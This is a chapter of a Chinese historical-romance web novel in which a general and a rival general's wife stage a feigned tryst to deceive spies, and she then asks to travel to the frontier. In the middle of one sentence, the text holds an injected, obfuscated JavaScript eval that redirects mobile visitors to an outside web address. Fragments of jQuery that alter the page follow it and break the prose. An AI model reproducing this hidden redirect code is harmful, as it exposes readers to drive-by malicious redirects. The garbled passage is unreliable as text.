28. 以戏演真

作品:《美人为药

    “你是将军府的婢子?”


    宋千嶒手中缰绳猝然绷紧,西域良驹吃痛扬起前蹄,碗口大的铁蹄几乎擦着青樱发顶掠过。


    他俯身时玄铁护腕撞上马鞍金扣,甲胄鳞片在暮色中泠泠作响,如同毒蛇抖落满身冰鳞。


    青樱跪在冰冷坚硬的地砖上,寒意迅速从膝盖蔓延至全身。借着月色,她缓缓抬起头,望向马背上威风凛凛的大将军。


    月光如水,倾洒而下,却依旧无法照亮他那双深邃不见底的眼眸,辨不清其中藏着何种神色。


    青樱微微点头,声音里带着一丝不易察觉的颤抖,小心翼翼地回道:“是,将军。”


    说罢,她连忙将宋芝窈早早写好的信纸,恭敬地递给大将军身旁的侍卫,又补充道:


    “我家夫人说,大将军看完这封信,便能明白她的心意。”


    宋千嶒没应声,垂下的眼眸却死死地盯着青樱。


    侍卫呈上来的信,他也没急着拆开,只捏在手心里,暗自思索着眼前这小丫头的话究竟有几分是真几分是假。


    他认识的沈妹妹虽是个心思单纯之人,却也不是个分不清轻重好歹的大家闺秀。


    在这熙熙攘攘的大街上拦马送信,这不明摆着昭告天下,自己与他人有私情吗?


    如此莽撞愚蠢之事,断不是沈妹妹做的。若她当真不是沈妹妹,那有着将军夫人这个头衔,想来也是做不出此事的。


    我宋千嶒虽是个粗汉,却也知晓女子名节至关重要,她又怎会不知呢?


    不过,既是将军府有意设局,那我作为这局中的关键人物,又岂有置身事外的道理?


    宋千嶒心中暗自思忖,脸上不动声色,斜眼轻瞥了一下身旁的侍卫,用一个几不可察的眼神示意他打赏。


    那侍卫心领神会,当即掏出一个荷袋,手一扬,荷袋便飞了出去,啪地一声砸在青樱身前的地砖上,距离她不过半寸之遥,扬起了些许尘土。


    “赏你的,收好了!”宋千嶒声音低沉,简短地撂下这几个字。


    旋即,他猛地扬起手中马鞭,在空中划出一道弧线,“啪”的一声脆响,马儿吃痛,撒开四蹄,哒哒哒地疾驰而去,眨眼间便消失在街道的尽头,只留下青樱还跪在原地,望着那远去的背影,神色复杂。


    ###


    亥时,万籁俱寂,夜色如浓稠的墨汁,肆意流淌在天地之间。雾气仿若一层轻纱,悠然弥漫开来,将整个林子牢牢裹住。


    林间的小路,在这朦胧雾气的笼罩下,变得影影绰绰,似真似幻,难以辨清。


    沈季瑶沿着蜿蜒的小石子路缓缓而走,细碎的石子在她脚下发出轻微的“嘎吱”声,与她的脚步声交织在一起。


    她的裙裾轻轻擦过石子路边四散开来的枯叶,发出稀稀疏疏、若有若无的声响,在这静谧的夜里,显得格外清晰,却又转瞬被无边的夜色所吞没。


    “冉冉,是你吗?”


    这林子名叫凉林,因着林子附近的亭子而命名。


    远远地,凉亭上便见一熟悉又生疏的背影,待他转身时,便开口低声寻问着亭下的沈季瑶。


    她看不清他的脸,却能辨出这声音定是宋千嶒的。


    “不知大将军深夜邀约,所为何事?”


    沈季瑶站在亭子外,没往前挪动,有意保持距离。


    身后一群鬼鬼祟祟之人,也愣在原处。


    大抵是人多的缘故,竟有人不慎踩到了路边石子,石头随着一松散,即刻便顺着陡坡滚落下去。


    宋千嶒也不是个傻子,听着这蓦然的声响,嘴角不禁微扬。


    这将军府倒真是个好个地方!


    “夫人,邀约的难道不是你吗?”宋千嶒似笑非笑地说着,“夫人怕不是叫小人栽赃陷害了吧?”


    沈季瑶倒没有想到宋千嶒会说得如此直接,她看着他,杏色眸子在眼眶内左右转了转,而后柳眉轻挑,“大将军,此事,似乎您也脱不了干系!”


    既然话已说开,沈季瑶也不再惺惺作态。她往前轻轻挪了几步,绕着宋千嶒缓缓转了半圈,而后悠悠开口:“私会右将军夫人,此事传出去,大将军怕是也不好受。”


    宋千嶒听闻,冷冷地笑了一声,双手撩起衣摆,而后悠然自得地坐在了凉亭的石凳上:上,“看来。”


    他稍作停顿,目光紧紧锁住沈季瑶,又接着道:“夫人早就知晓真相了?”


    他仰头抬眸,看向眼前的沈季瑶,那熟悉的背影让他一时间有些恍惚,仿佛回到了往昔的岁月。“那,可有应对之策?”


    沈季瑶莲步轻移,缓缓走到宋千嶒身边,与他不过半步之遥。


    她微微俯身,凑近他的耳畔,素手轻轻遮掩,小声说道:


    “妾身身后,正是一群等着看你我笑话之人,稍有不慎,你我二人便会陷入万劫不复的火海之中。


    “但,这戏若是你我演好了,大将军口中的冉冉,或许妾身能替您寻到!”


    听到冉冉二字,宋千嶒的眸子骤亮。


    “你知道她在哪?”


    宋千嶒看着这样柔弱的一个女子,眼底的光又渐渐暗淡了下去,他强忍悸动之心,咬着牙恶狠狠地神色说道:


    “夫人怕是不清楚,本将手段素来狠辣。若是你妄图以冉冉之名诓骗本将,本将有的是办法,让你——生不如死。”


    “生不如死”那四个字,他几乎是拖着长长的尾音,一字一顿,满含威胁地吐出。


    “妾身何须骗你。”


    沈季瑶说完,余光悄然瞥向凉亭外的人影,眼尾罕见地勾出一抹冷笑,稍纵即逝。


    “你要本将如何帮你?”


    “抱我。”


    沈季瑶几乎是立刻便说出了口,惊得宋千嶒错愕了半晌。


    好在,宋千嶒很快反应过来,配合地一把将她拉进怀中,嘴唇贴近她的耳郭,轻声问道:“还有吗?”


    “哼!沈季瑶一声浅笑,随即用力推开宋千嶒,扬手一个巴掌迅速落在他脸上。


    只听啪地一声,他的脸瞬间红肿了起来。


    宋千嶒只觉得有些错了神,定在原地诧异地看着沈季瑶。


    这便是她要演的戏?


    “大将军,你认错了人,妾身乃右将军之妻,不是你口中的冉冉。”


    还没等宋千嶒开口,沈季瑶突然“扑通”一声跪倒在地,泣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133662|163163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不成声,那悲戚的模样,好似受了天大的委屈。


    宋千嶒单手捂住半肿的脸,暗自感叹眼前这位夫人果真是好计量,下如此重的手,倒叫人真真分不清是在演戏,还是在替她家将军报仇。


    可为了冉冉,他宁可将今日种种打碎了牙往肚子里咽下去,也要陪她做完这场戏,套一套冉冉的消息。


    他不动声色地将眸子转向方才石子滚落的方向,果见那处人影仍在微微晃动。


    宋千嶒心中有数,面上却不露分毫,作势上前,有意搀起沈季瑶,动作间,将袖口中叠得整整齐齐的帕子不着痕迹地递到她手心里,旋即压低声音说道:


    “是本将酒后糊涂,认错了人。夫人与我那位故人实在太过相似,一时叫本将失了分寸。”


    隔着些距离,想来那些鬼鬼祟祟之人也听得不真切,只能借着月色窥探猜测他们二人之间必定是有奸情。


    沈季瑶心底冷笑,暗暗嘲讽着这欲谋害自己的丫头。


    当真还以为我沈季瑶还是从前那个听什么便是什么的姑娘吗?


    士别一日,当刮目相待。今日这局,我便让瞧瞧清楚。


    “故人?”沈季瑶帕子轻点眼角泪珠。


    “嗯,一位女子。”宋千嶒微微颔首,目光飘向远方,似是陷入回忆,“同夫人一般大小,也是个行医治病的大夫。”


    “大将军很挂念这位故人?”


    宋千嶒沉默片刻,苦笑着摇了摇头:“与其说是故人,倒不如说是心仪之人。”


    “我与她自幼相识,原以为此生会与她白头偕老,却不想这世间有天灾亦有人祸。最后我们也只能被迫分离,至今都未能再见上一面。”


    “今日与夫人投缘才说了这些许,夫人莫怪。”宋千嶒话语突变,骤然阴冷的眸子直勾勾地盯着沈季瑶身后新出的影子。


    “夫人,你想要的戏台子,或许也经搭好了。”


    虽早早便做好了准备,沈季瑶闻言,却还是愣住了神。


    她垂眸,眼似乎被月光掺了揉碎的星海。


    她理了理情绪,随即微微欠身,带着几分娇柔模样恳求道:


    “大将军,妾身有一事相求。”


    “夫人但说无妨,只要我宋某能做到的。”宋千嶒抬了抬手,现在不再碰她一丝一毫。


    “此番入边疆,妾身能与你们一道吗?”还不等宋千嶒开口,沈季瑶又继续道:


    “妾身虽是一介女流,不动带兵打仗之事,却也破懂得些医术,若是营中有人受伤,妾身或可帮助一二。”


    “夫人,营帐内自己军医……”宋千嶒话说一半,便被沈季瑶堵了回去。


    “妾身自是知晓!”


    “只是,右将军他受伤严重,一事半会之间,军医也没有办法已好。但妾身若每日施针,便可保住伤痛有所缓解。”


    见宋千嶒不开口,沈季瑶又趁机继续说道:


    “他日若有缘,妾身必会报答大将军。”


    军规森严,他宋千嶒自当以身作则,不可以权谋私,然沈氏医术确实巧妙,再者留着她或许当真能知晓冉冉的下落。


    思虑再三,宋千嶒点点了头。